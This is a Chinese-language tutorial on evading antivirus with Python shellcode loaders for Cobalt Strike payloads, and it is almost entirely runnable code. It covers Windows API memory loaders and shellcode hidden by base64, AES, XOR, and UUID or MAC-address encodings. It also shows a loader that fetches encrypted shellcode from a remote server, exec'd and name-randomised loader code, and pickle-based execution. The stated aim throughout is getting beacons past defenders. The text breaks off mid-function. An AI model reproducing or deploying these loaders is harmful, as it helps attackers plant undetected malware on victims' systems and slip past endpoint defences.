python shellcode免杀的常用手法
python 加载shellcode的原理 用CS生成一个python shellcode 内存加载器原理都是一个流程:申请可执行内存 -> shellcode写入内存 -> 执行该内存 分配可执行内存 为了执行 shellcode,必须将其放置在一个具有可执行权限的内存区域中。这可以通过调用 Windows API 函数 VirtualAlloc 来完成 import ctype
python 加载shellcode的原理
用CS生成一个python shellcode

内存加载器原理都是一个流程:申请可执行内存 -> shellcode写入内存 -> 执行该内存
分配可执行内存
为了执行 shellcode,必须将其放置在一个具有可执行权限的内存区域中。这可以通过调用 Windows API 函数 VirtualAlloc 来完成
import ctypes # 分配可执行内存
rwxpage = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), # 地址(0 表示让系统选择)
ctypes.c_size_t(len(shellcode)), # 大小
ctypes.c_uint(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_uint(0x40) # PAGE_EXECUTE_READWRITE )
将 Shellcode 复制到分配的内存
一旦内存被正确分配并且具有正确的保护属性,就可以将 shellcode 复制到这块内存中。这通常通过调用 RtlMoveMemory 函数来完成,它相当于 C 语言中的 memcpy
# 设置 RtlMoveMemory 的参数类型和返回类型 ctypes.windll.kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p, # Destination
ctypes.c_void_p, #
Source ctypes.c_size_t # Length
)
ctypes.windll.kernel32.RtlMoveMemory.restype = None
# 创建一个字符串缓冲区并复制 shellcode
buffer = ctypes.create_string_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(rwxpage),
buffer,
ctypes.c_size_t(len(shellcode))
)
创建线程执行 Shellcode
为了执行位于分配内存中的 shellcode,需要创建一个新的线程,并将新线程的起始地址设置为包含 shellcode 的内存地址。这可以通过调用 CreateThread 函数来完成。
handle = ctypes.windll.kernel32.CreateThread(
None, # lpThreadAttributes
0, # dwStackSize
ctypes.c_void_p(rwxpage), # lpStartAddress
None, # lpParameter
0, # dwCreationFlags
ctypes.byref(ctypes.c_ulong()) # lpThreadId
)
等待线程结束并清理资源
创建线程后,可以选择等待线程结束,然后释放分配的内存。
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
# 清理资源
ctypes.windll.kernel32.VirtualFree(ctypes.c_void_p(rwxpage), 0, 0x8000) # MEM_RELEASE
原始shellcode加载的两种方式
import ctypes
shellcode = b''
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
import ctypes
data=b''
bdata = bytearray(data)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bdata)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(bdata)).from_buffer(bdata)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(bdata)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
上面两种是肯定会被杀的
免杀无非就是两种方式
1.对shellcode做文章
2.对运行代码的加载器做文章
对shellcode进行加密
base64
import ctypes
import base64
s = b'‘
shellcode = base64.b64decode(s)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
这个也是被杀的
AES
加密解密函数分开写
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
shellcode = b""
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')
print('iv: \n {} \n key:\n {} \n ase_shellcode:\n {} \n'.format(iv,key,ct))

import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
#把加密代码输出的结果填到下面
iv='xxx'
key=b'xxx'
ase_shellcode='xxx'
iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), #要分配的内存区域的地址
ctypes.c_int(len(shellcode)), #分配的大小
ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
)
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), #指向安全属性的指针
ctypes.c_int(0), #初始堆栈大小
ctypes.c_uint64(ptr), #指向起始地址的指针
ctypes.c_int(0), #指向任何参数的指针
ctypes.c_int(0), #创建标志
ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
shellcode 编码加密混淆
用base32 + base16 + hex 进行编码,最后做一次异或加密
加密脚本:
# -*- coding: UTF-8 -*-
import string
import base64
import random
from sys import version_info
def encrypt(buf, key):
"""shellcode混淆加密"""
shellcode1 = base64.b32encode(buf)
# base16 编码
shellcode2 = base64.b16encode(shellcode1)
# hex编码
if version_info >= (3,0):
shellcode3 = shellcode2.hex() # python3
else:
shellcode3 = shellcode2.encode('hex') # python2
# 设置随机数
random.seed(key)
# 异或加密
shellcode = ''
for i in shellcode3:
shellcode = shellcode + str(ord(i) ^ random.randint(0, 255)) + "."
return shellcode.rstrip('.')
def random_key(length):
"""随机生成6位key"""
numOfNum = random.randint(1, length-1)
numOfLetter = length - numOfNum
slcNum = [random.choice(string.digits) for i in range(numOfNum)]
slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)]
slcChar = slcNum + slcLetter
random.shuffle(slcChar)
getPwd = ''.join([i for i in slcChar])
return getPwd
if __name__ == "__main__":
# shellcode内容
shellcode = b""
# 随机数key
key = random_key(6)
# 编码加密混淆
data = encrypt(shellcode, key)
print("key: " + key)
print("shellcode: " + data)

加载代码:
# -*- coding: UTF-8 -*-
import ctypes
import base64
import random
from sys import version_info
def decrypt(code, key):
# 异或解密
random.seed(key)
xor_code = code.split('.')
res_code = ''
for i in xor_code:
res_code = res_code + chr(int(i) ^ random.randint(0, 255))
# 三重解码
if version_info >= (3,0):
shellcode = bytes.fromhex(res_code)
else:
shellcode = res_code.decode('hex')
shellcode = base64.b16decode(shellcode)
shellcode = base64.b32decode(shellcode)
# 返回shellcode
return shellcode
def runcode(shellcode):
# 加载shellcode
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
if __name__ == "__main__":
# 混淆的shellcode
code = ""
# 随机数key
key: str = 'B4s81a'
# 解码
shellcode = decrypt(code, key)
runcode(shellcode)
shellcode 远程/本地加载
把编码或加密后的shellcode保存到VPS上,然后用远程方式进行加载
用前面的方法先将shellcode混淆,然后将生成的 shellcode 和 key 分别保存放到VPS上,最后用python开个web服务
import ctypes
import base64
import random
from sys import version_info
from urllib.request import urlopen
def decrypt(code, key):
# 设置随机数
random.seed(key)
# 异或解密
xor_code = code.split('.')
res_code = ''
for i in xor_code:
res_code = f"{res_code}{chr(int(i) ^ random.randint(0, 255))}"
# 三重解码
if version_info >= (3,0):
shellcode = bytes.fromhex(res_code)
else:
shellcode = res_code.decode('hex')
shellcode = base64.b16decode(shellcode)
shellcode = base64.b32decode(shellcode)
return shellcode
def runcode(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
def get_data(url_shellcode, url_key):
"""远程获取shellcode"""
if version_info >= (3,0):
from urllib.request import urlopen
else:
from urllib2 import urlopen
# 远程加载shellcode, key
key = urlopen(url_key).read().decode()
shellcode = urlopen(url_shellcode).read().decode()
return shellcode, key
if __name__ == "__main__":
url_shellcode = "http://ip:8000/shellcode.txt"
url_key = "http://ip:8000/key.txt"
# 远程加载
shellcode, key = get_data(url_shellcode, url_key)
# 解码
shellcode = decrypt(shellcode, key)
# 加载shellcode
runcode(shellcode)
uuid实现内存加载
import uuid
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\"
# 如果不能被16整除,就补充剩余的字节
if len(buf) % 16 != 0:
replenish_byte = b"\x00" * (16 - len(buf) % 16)
buf = buf + replenish_byte
# 字节转uuid
shellcode = []
for i in range(len(buf) // 16):
bytes_a = buf[i * 16:16 + i * 16]
b = uuid.UUID(bytes_le=bytes_a)
shellcode.append(str(b))
print(shellcode)
然后再编译
import ctypes
shellcode = ['e48348fc-e8f0-00c8-0000-415141505251', 'd2314856-4865-528b-6048-8b5218488b52', ...]
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode) * 16, 0x1000, 0x40)
rwxpage1 = rwxpage
for i in shellcode:
ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
rwxpage1 += 16
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
MAC实现内存加载
# -*- coding: UTF-8 -*-
import ctypes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00..."
# 如果不能被6整除,就补充剩余的字节
if len(buf) % 6 != 0:
replenish_byte = b"\x00" * (6 - len(buf) % 6)
buf = buf + replenish_byte
# 申请内存
macmem = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)/6*17, 0x1000, 0x40)
for i in range(len(buf)/6):
bytes_a = buf[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
#a = ctypes.string_at(macmem, len(buf) * 3 - 1)
#print(a)
mac = []
for i in range(len(buf)/6):
d = ctypes.string_at(macmem+i*17,17)
mac.append(d)
print(mac)
加载代码:
# -*- coding: UTF-8 -*-
import ctypes
mac = ['FC-48-83-E4-F0-E8', 'C8-00-00-00-41-51', ...]
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(mac) * 6, 0x1000, 0x40)
# 通过RtlEthernetStringToAddressA函数,将mac值转为二进制写入内存rwxpage是内存指针,表示从该指针位置写入rwxpage+=6是控制指针的位置,每写入一个mac二进制需要将指针移动6个字节
rwxpage = ptr
for i in range(len(mac)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac[i], mac[i], rwxpage)
rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(mac) * 6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
加载器代码混淆
base64
对加载shellcode部分代码进行base64编码
import base64
import ctypes
buf = base64.b64decode(b'/EiD5PDoyAAAAEF......')
base64_loader = base64.b64decode(b'CnNoZWxsY29kZSA9IGJ5dGVhcnJheShidWYpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeSgKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLAogICAgYnVmLAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpCg==').decode()
exec(base64_loader)
运行即可上线
对加载器变量名进行随机生成
import random
import string
class AutoRandom:
def auto_random_int(self,max_int=999,min_int=0):
return random.randint(min_int,max_int)
def auto_random_str(self,min_length=8,max_length=15):
length=random.randint(min_length,max_length)
return ''.join(random.choice(string.ascii_letters) for x in range(length))
def auto_random_void_command(self,min_str=500,max_str=1000,min_int=1,max_ini=9):
void_command = [
#'print("var1")'.replace('var1',str(self.auto_random_int(999999))),
'var1 = var2 + var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
'var1 = var2 - var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
'var1 = var2 * var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
'var1 = var2 / var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
'var1 = "var2" + "var3"'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',self.auto_random_str(min_str,max_str)).replace('var3',self.auto_random_str(min_str,max_str)),
'print("var1")'.replace('var1',self.auto_random_str(min_str,max_str))
]
return void_command[self.auto_random_int(len(void_command)-1)]
def make_variable_random(shellcodeloader):
shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str(min_length=8, max_length=15))
shellcodeloader = shellcodeloader.replace("shellcode",AutoRandom.auto_random_str(min_length=8,max_length=15))
shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str(min_length=8, max_length=15))
shellcodeloader = shellcodeloader.replace("buffered", AutoRandom.auto_random_str(min_length=8, max_length=15))
shellcodeloader = shellcodeloader.replace("handle", AutoRandom.auto_random_str(min_length=8, max_length=15))
return shellcodeloader
def make_command_random(shellcodeloader):
shellcodeloader = shellcodeloader.replace("command1", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command2", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command3", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command4", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command5", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command6", AutoRandom.auto_random_void_command())
shellcodeloader = shellcodeloader.replace("command7", AutoRandom.auto_random_void_command())
return shellcodeloader
if __name__ == '__main__':
AutoRandom = AutoRandom()
shellcodeloader = '''
command1
shellcode=bytearray(b"x")
command2
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
command3
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
command4
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
command5
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
command6
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
command7
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
'''
shellcodeloader = make_variable_random(shellcodeloader)
shellcodeloader = make_command_random(shellcodeloader)
print(shellcodeloader)
首先创建了AutoRandom类的一个实例。然后定义了一段包含Windows API调用的Python代码字符串shellcodeloader。接下来,这段代码经过两次转换:先调用make_variable_random随机化变量名,再调用make_command_random插入随机的无意义命令。最后,混淆后的代码被打印出来。

将生成的代码复制出来,根据生成的随机数,给ctypes库起个别名
import ctypes as wfsrpRxlfVnnz
UkAEqKTD=bytearray(b'xxx')
DgHYceKeqQugpgQZdNmDbJhBzSdQdhbKqfFpBqWxTLFMEvXHqWhNvXyxjoAYDyJxEgVHZGgmIRWvnnBrbjkveVXXtqeTfgyltvtcZfsjyuHJhlaVfXVOkhwKGxKGRHzEERENcgNizeywHyRvwDCLxTYbojHgqoULHRtlJkTVcPWXHsGonfLxHhheSuxWkEpiUzmSaWUqCcAaUXweuquuiadLotmPrHHDjcMoWbRnlEvPqnEXlwUXKRXrhEhGjelXoKXJiZFCGXMrmvMEsicCliejlPsRlBKLSqyypyHqZTMeMTVlPBSVMMpNxIWzKFaSQtqMFXUrmoMnmLBAJvDGHjcTMucoqLWbyWUvCbiTdKWxsGutrEDoQDyMCtQDRfyNLJcsOCPgZSkHUlsVenQpCazUmvUcuQFNXOcioyXbXWSNjIinNiaMuRfYdJzeCDfpeCOXhIEUTKyPECJOlFqAQAgZLJjEfqtKZFuSBOtuXOoZLsUcPksKPkEdgbixsZCZiRBDLXplZpTsFHMQGySQPHjrjicEkveqtZIObmtgenBSstHbiNZRZltOitOCNtYFdXNcoOJTyZWlCnnhjuoIOtPNmGlxadZjFPqqaRUMvLdJvMLTeLLJJujXoOVPcJnvMCdDFwsFEZCpmSNmXZCaPfEuEGenwjqXZzCCKknKEhTRRSkILHGnjdGDPgPdvVuiSIcKnNqNyWJYcufajXUrMzxJihBf = 4000 * 55629
wfsrpRxlfVnnz.windll.kernel32.VirtualAlloc.restype = wfsrpRxlfVnnz.c_uint64
evAQzwpfiTGNTXsFltkJnOlJgDcMDlzLgJGVRYbJkDDEHJrhcwjOmCYakqqIOBtPvyMbEWTuHtdKvzYTiKtQgDzhXdvSOPdmNXiyvWbHmdFkSVuBrvWwiARlGLOdJwHKOEMkFmTQuHXLOMsvVKJbDdZFuWZwyBtCKeiFGrFVzDpgsiViGZrUXOjeBWprTJVNVhjfKPrIVXShKawJHpDomKKWiAzDHoSCPfbMJHQEglQcHjeFEbQueCSRsxpogxEidnsimCZTTRoQZCdqyUAaLGXJzfsMRbPGcRXSeAjsGkuvZlHCVQJaNdYlEdThXLITdkrzuVumaKByVDDZcTtVpTtjHJfRCCswdbUluRcaTWQhVkLSPLfdnmRSoAuPEhdrEMnjFYVasZbAlyreGAqjPifxONzduTsUYnBbMqswzJppbWmfARqoLBTbRdIutJzuEvMozWlMTwXqltEVQtEjMTsLJjjTOzrcIGGeTNbhKYTfjyxmpIZMqYpHxqYxKNYOsXxboQNpqZrqIDThDDSfFBhHAPbHwdZLVPqVxJvXnzdFYQXtHnxKCnSGeKJikdqUCAaVhFmdGHliLYjEVtxluVexMKITqArAPZnZcircCnwsPRequqmEpqaVoIzivmrdZWNoYgTLjeDlRNnXxLCrf = 89165 - 62612
WsfUYSwsdQ = wfsrpRxlfVnnz.windll.kernel32.VirtualAlloc(
wfsrpRxlfVnnz.c_int(0),
wfsrpRxlfVnnz.c_int(len(UkAEqKTD)),
wfsrpRxlfVnnz.c_int(0x3000),
wfsrpRxlfVnnz.c_int(0x40)
)
ncInVtjdwrjmUUFWOvRcXwjztkySXNvNrAttMSqLnTbaJOEEZPGRiYYbcKfXZlYrjYZxmPOKEppJtiuRzFvebeAcbBXNSRPvbRWMKLlTDXNJYlfSIrtXCaGTiyeAHVfDqllEFDDRHMPIhsjgsPfNqjjYrDgCjHYtStJgSfhSQXePVqqpxrMQpVBLMXUvArJqDGSowlmFXgcyroYtbzCjSolZQfUueVmHkMjXXqIoqmvonqodxOoXZmUxsZbAAHKhdBluTtDbnIwrCyKApFQWDfsmVCDmDgujaqYtEGRWGtOUVewfbyVQlnUiJJziRDAooUnwDTKXwGdCVZNaXjsKfYhqAhMvrsvHolLAMvlACwZkcEQQijoAqfdvHBsmZXUzhnWmQNQsZNEgUDWAvcSfMlGGIihVvIHIEQhzGBhVKcaIsfraweQqZwovBtmZwKrPTuOAoqWRkRDasZCPRkTJhaXGNVIvWeAYiSUyqZZgyByqKKspKFbPgthvKtaQbCmrCsaLSJuQlnjGeXaEQQuonUqnRDXRmwFpvsacRkCSlWTNjTVFyEZrPGEMfOzlMNsWFPzCZqXlbzQdpFrUfqxUXptpDNirdZOgavLpsvTSbKWNCJwXdwmqmtpSKLDNZJxjpToBAecLVzuUZNWtyINYDgtijqTfsTAxlYYRaDgwpEkTlPzpnJyFnbpXBjKrgSHMwIKWTNwwkPRjSreTMNAHWNtohnZHGArejPTqmSjBvYoM = 65956 - 47294
dSDhkNTP = (wfsrpRxlfVnnz.c_char * len(UkAEqKTD)).from_buffer(UkAEqKTD)
WbHaQmSzPPTcElgsnYgxLitHrNpAPHaajtBnZsSZSbmtJhNkjzhlYFnCpnrzCCyIfDyYLWIXiiWBvFfWujtLklOnOxGEarTukrqsyfvSecNPeOHPEUTlVyobkkfMuYthoqSmmwONbxobRrVrMELlueNyAUzdzNVPmpVTXowuNOxBbjMcaAdwogWTIsJRulfeHrTKyDfoPogeSjanfXOWDouwJXlLeSwJwTwWpuMwrETFbxjMlSLXzCJiWJQEgoQlXQurSdiqIPVpNstqQuJNDvNvxqsEaZdMhZObXIrziKnqItLspgsUEWtaRMzGxACYXmPsoGpoVhnLOlHJUUuBlBxUQMIkBUTlSZgkfRAueLaacDoATmlkKDgtaAMvfegiOJCrrBUOyYgFInlOCSSnkFpsvxWQyoMkoGTNPhvFxokcNSOgbJVgJlxOUZPMvCLremiShLGJxyhULTdpOniKYrRowumaTLHIkkQDgKuzZSBdxKMJGcXkwFPXRfuFdnOWXdQGIXAYkKhslrhzKjxuahimZwfBMyZvuHxOzQtPGFlHqQxIBuElkferwOrFywJLNMjfsqqTygQhhzjgxTNfOjVqOhiWTapReDBjsEJLIZfiKPLmmqHFssgiStvkenTkybSuVPZVcakYzqibaKAobWopcVQZTePnASQCRvpaOruDteDuiifAAeKZqkaooCfudPUFUPgNucbPbsfRNcetjRZyZqrxywRtvQKAQBAiRIuUrkSFIbbikNfHhpzPgHEWIsfRPLMnMaiwBdRfxZeWTuabJmAbEJEbKcVzBLWpVLzHuPQSKQOAQTuvumcVGKfvafFerqchtYWDnrpyKwjdvUchqEWouqEVTbAFokHiSDlqickOiGnVWUofWsZGNHOlyGqnLWuDVBRCNvzZoSXVTeloOpERFvfcNILTpYcTZzrqUQIYGdXDljxwWuIn = 60063 * 97114
wfsrpRxlfVnnz.windll.kernel32.RtlMoveMemory(
wfsrpRxlfVnnz.c_uint64(WsfUYSwsdQ),
dSDhkNTP,
wfsrpRxlfVnnz.c_int(len(UkAEqKTD))
)
NQipEZiIgKIhgLwAvNvSvBdooanvxyrrmXVqKBBQVqjrqKeGWNknQkmexplJmaVjsHZVEeHaZiGhNuMAlVpWeRcDDRJEmSIdVuEzJXwTorMAETFVoOTWkTbOCNYsPcQmuEfLApyYrPDrjysltpEamPkBsjqmMBdubynewMpGsgsuFKJSygDNNsXWISWDsplDGDuKOjOwxNaKcivAqjParlcDxItAeRcbwCJxqjoSAQhEmkhklGytJaXEZRIInNutyLZbQRynryZKLkJyNDnNlJFONQmGliAkGtdZTAwHKbJaTZfhyNHBBpMdFdVqWgrqTsQgIyHZhmsrNBqICbDmSLdgwqbJleNcUsdgVDcfaihpOPuNppoWbymEQbEijfdHDXVuAFbkPRllmATqLeywiIAKFkMnDygZafuGdkzuEGZBDyIgouekTCoFckdxkwRhfYdOBxtUdGgCMlUGggMMIHeVazKlsDYaZsAUCriThwdaHOrdXTcCHSLjTMVGZnwNJwVZQ = 5682 * 52770
jRgpnMTZtoCEy = wfsrpRxlfVnnz.windll.kernel32.CreateThread(
wfsrpRxlfVnnz.c_int(0),
wfsrpRxlfVnnz.c_int(0),
wfsrpRxlfVnnz.c_uint64(WsfUYSwsdQ),
wfsrpRxlfVnnz.c_int(0),
wfsrpRxlfVnnz.c_int(0),
wfsrpRxlfVnnz.pointer(wfsrpRxlfVnnz.c_int(0))
)
eHlEmBCqxPSosEVwhfvCSRZUZBrksBREXtinNkGuDZOIWmonpIIKlHSRMRaeatIymgRyArCAFCxQEgprSycpjgdkCfmAFdSAhuslhuGrtrfBFobsPAIyoASBOnqbXNmGODtMKJblYlOuJSrfGLNzCnHwmzgSleEORlqXeNWhgNoErOSlmAFjcZhuvvLtTymmtwfIKCnMOHbXyJKnIJBgRzkKZzBkxoUkfmshQLaLWUQVdZnJSuKzLYVxqcTNyUsQFKPuZHsYRyaWMeTgwgpcikLwBEbAbTIYxfcJGjFkdjygpgzdDpRaEKXQltdLuxAQuywdxVjBgLHsmEeVEgtsMXEOriHJDFXHUqWyPujBHNTXiIKzhqfRGZHqUCgfWeZqUKplAsJKMsjTkzSmwqoqhHOCzFiOSvZlAWpPKvPylejHcKxICNqtKzNTQOuqhwCnrrrtCDQIilfpgKYTgkKKjHflZJXekaRAwhGKbxGNCDOxeUDjmekiRLCPyCXCPnMpNFxxosMOOIdONXhQJvhmZPUsEOWdDMxAoYesAbDjPrOcZrUSEdsaLYDzZXCmJDqRqNlyjFrcnlAehdvbablqXizTuXvZKIyYmzwtTVqBJUDpBnVFePTkYUfWFvsleQICorhOSbHBCMRFFQSAyiNygknwDUrhLRCqTjSDAbYzybCSIvMyMUwYKTUrOfkMIvDprriHpzQveqptVkUWwnAGNxLdwhnHNbymBgZfjqFpBOaIPcafPySDJHTEmZqfFuWKoaMmnGFCAtEKLLfTvxfwgxHNcZkuCVTQNZJlhOvwGzfkuBdULbXVqRlgIMQOqddYJTcNTWOKRoXdfyydfFcuisoQNmvfnpcWFbIAnbMi = 32374 + 9029
wfsrpRxlfVnnz.windll.kernel32.WaitForSingleObject(wfsrpRxlfVnnz.c_int(jRgpnMTZtoCEy), wfsrpRxlfVnnz.c_int(-1))
运行即可上线
反序列化
序列化:
import pickle
import base64
shellcodeloader = """
import ctypes,base64,time
#这里不能直接存在空字节,反序列化的时候会出错,所以要处理一下
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class AAA(object):
def __reduce__(self):
return (exec, (shellcodeloader,))
seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
print(seri_base64)
反序列化:
import base64,pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............'
pickle.loads(base64.b64decode(shellcodeloader))
这里也可以进行远程/本地加载
将混淆后的加载代码保存到 loader.txt中
import ctypes
import base64
import random
import pickle
from sys import version_info
if version_info >= (3,0):
from urllib.request import urlopen
else:
from urllib2 import urlopen
def decrypt(code, key):
# 设置随机数
random.seed(key)
# 异或解密
xor_code = code.split('.')
res_code = ''
